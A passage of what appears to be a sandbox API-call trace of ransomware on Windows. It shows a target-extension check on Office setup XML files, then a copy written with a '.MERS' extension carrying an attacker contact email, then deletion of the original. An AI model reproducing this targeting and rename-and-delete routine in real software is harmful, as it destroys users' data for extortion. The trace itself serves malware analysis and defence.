Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.636] lstrlenW (lpString=".doc") returned 4 [0043.636] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString=".docx") returned 5 [0043.636] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.636] lstrlenW (lpString=".pdf") returned 4 [0043.636] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString=".xls") returned 4 [0043.636] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString=".xlsx") returned 5 [0043.636] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.636] lstrlenW (lpString=".ppt") returned 4 [0043.636] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.636] lstrlenW (lpString=".zip") returned 4 [0043.636] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.636] lstrlenW (lpString=".rar") returned 4 [0043.636] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString=".bz2") returned 4 [0043.636] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.636] lstrlenW (lpString=".7z") returned 3 [0043.636] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString=".dbf") returned 4 [0043.637] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString=".1cd") returned 4 [0043.637] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString=".jpg") returned 4 [0043.637] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString=".doc") returned 4 [0043.637] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString=".docx") returned 5 [0043.637] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.637] lstrlenW (lpString=".pdf") returned 4 [0043.637] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString=".xls") returned 4 [0043.637] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString=".xlsx") returned 5 [0043.637] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.637] lstrlenW (lpString=".ppt") returned 4 [0043.637] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.637] lstrlenW (lpString=".zip") returned 4 [0043.637] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.637] lstrlenW (lpString=".rar") returned 4 [0043.637] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString=".bz2") returned 4 [0043.637] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.637] lstrlenW (lpString=".7z") returned 3 [0043.637] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.638] lstrlenW (lpString=".dbf") returned 4 [0043.638] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.638] lstrlenW (lpString=".1cd") returned 4 [0043.638] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0043.638] lstrlenW (lpString=".jpg") returned 4 [0043.638] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.638] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.638] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0043.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.638] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1450) returned 1 [0043.638] CloseHandle (hObject=0x1c4) returned 1 [0043.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0043.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.639] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.639] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0043.650] GetLastError () returned 0x0 [0043.650] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0043.827] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.828] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.828] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0043.829] SetEndOfFile (hFile=0x1e4) returned 1 [0043.829] CloseHandle (hObject=0x1e4) returned 1 [0043.829] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.829] SetEndOfFile (hFile=0x1c4) returned 1 [0043.829] CloseHandle (hObject=0x1c4) returned 1 [0043.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.830] lstrlenW (lpString=".doc") returned 4 [0043.830] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.830] lstrlenW (lpString=".docx") returned 5 [0043.830] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.830] lstrlenW (lpString=".pdf") returned 4 [0043.830] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.830] lstrlenW (lpString=".xls") returned 4 [0043.830] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.830] lstrlenW (lpString=".xlsx") returned 5 [0043.830] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.830] lstrlenW (lpString=".ppt") returned 4 [0043.830] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.830] lstrlenW (lpString=".zip") returned 4 [0043.830] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.830] lstrlenW (lpString=".rar") returned 4 [0043.830] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString=".bz2") returned 4 [0043.831] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString=".7z") returned 3 [0043.831] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.831] lstrlenW (lpString=".dbf") returned 4 [0043.831] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.831] lstrlenW (lpString=".1cd") returned 4 [0043.831] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.831] lstrlenW (lpString=".jpg") returned 4 [0043.831] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.831] lstrlenW (lpString=".doc") returned 4 [0043.831] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString=".docx") returned 5 [0043.831] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.831] lstrlenW (lpString=".pdf") returned 4 [0043.831] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString=".xls") returned 4 [0043.831] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.831] lstrlenW (lpString=".xlsx") returned 5 [0043.831] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.831] lstrlenW (lpString=".ppt") returned 4 [0043.831] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.832] lstrlenW (lpString=".zip") returned 4 [0043.832] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.832] lstrlenW (lpString=".rar") returned 4 [0043.832] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.832] lstrlenW (lpString=".bz2") returned 4 [0043.832] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.832] lstrlenW (lpString=".7z") returned 3 [0043.832] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.832] lstrlenW (lpString=".dbf") returned 4 [0043.832] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.832] lstrlenW (lpString=".1cd") returned 4 [0043.832] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0043.832] lstrlenW (lpString=".jpg") returned 4 [0043.832] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.832] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.832] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0043.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.833] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1452) returned 1 [0043.833] CloseHandle (hObject=0x1c4) returned 1 [0043.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0043.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0043.833] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.833] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0043.837] GetLastError () returned 0x0 [0043.837] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0044.039] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0044.040] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.040] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.040] SetEndOfFile (hFile=0x1e4) returned 1 [0044.040] CloseHandle (hObject=0x1e4) returned 1 [0044.040] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.040] SetEndOfFile (hFile=0x1c4) returned 1 [0044.041] CloseHandle (hObject=0x1c4) returned 1 [0044.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0044.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.042] lstrlenW (lpString=".doc") returned 4 [0044.042] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString=".docx") returned 5 [0044.042] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.042] lstrlenW (lpString=".pdf") returned 4 [0044.042] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString=".xls") returned 4 [0044.042] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString=".xlsx") returned 5 [0044.042] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.042] lstrlenW (lpString=".ppt") returned 4 [0044.042] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.042] lstrlenW (lpString=".zip") returned 4 [0044.042] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.042] lstrlenW (lpString=".rar") returned 4 [0044.042] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString=".bz2") returned 4 [0044.042] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString=".7z") returned 3 [0044.042] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.042] lstrlenW (lpString=".dbf") returned 4 [0044.042] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".1cd") returned 4 [0044.043] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".jpg") returned 4 [0044.043] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".doc") returned 4 [0044.043] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString=".docx") returned 5 [0044.043] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.043] lstrlenW (lpString=".pdf") returned 4 [0044.043] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString=".xls") returned 4 [0044.043] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString=".xlsx") returned 5 [0044.043] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.043] lstrlenW (lpString=".ppt") returned 4 [0044.043] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".zip") returned 4 [0044.043] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.043] lstrlenW (lpString=".rar") returned 4 [0044.043] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString=".bz2") returned 4 [0044.043] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString=".7z") returned 3 [0044.043] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".dbf") returned 4 [0044.043] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.043] lstrlenW (lpString=".1cd") returned 4 [0044.044] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0044.044] lstrlenW (lpString=".jpg") returned 4 [0044.044] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.044] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.044] lstrlenW (lpString="Proof.XML") returned 9 [0044.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.044] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1347) returned 1 [0044.044] CloseHandle (hObject=0x1c4) returned 1 [0044.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0044.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.045] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.045] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.045] GetLastError () returned 0x0 [0044.045] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x543, lpOverlapped=0x0) returned 1 [0044.231] WriteFile (in: 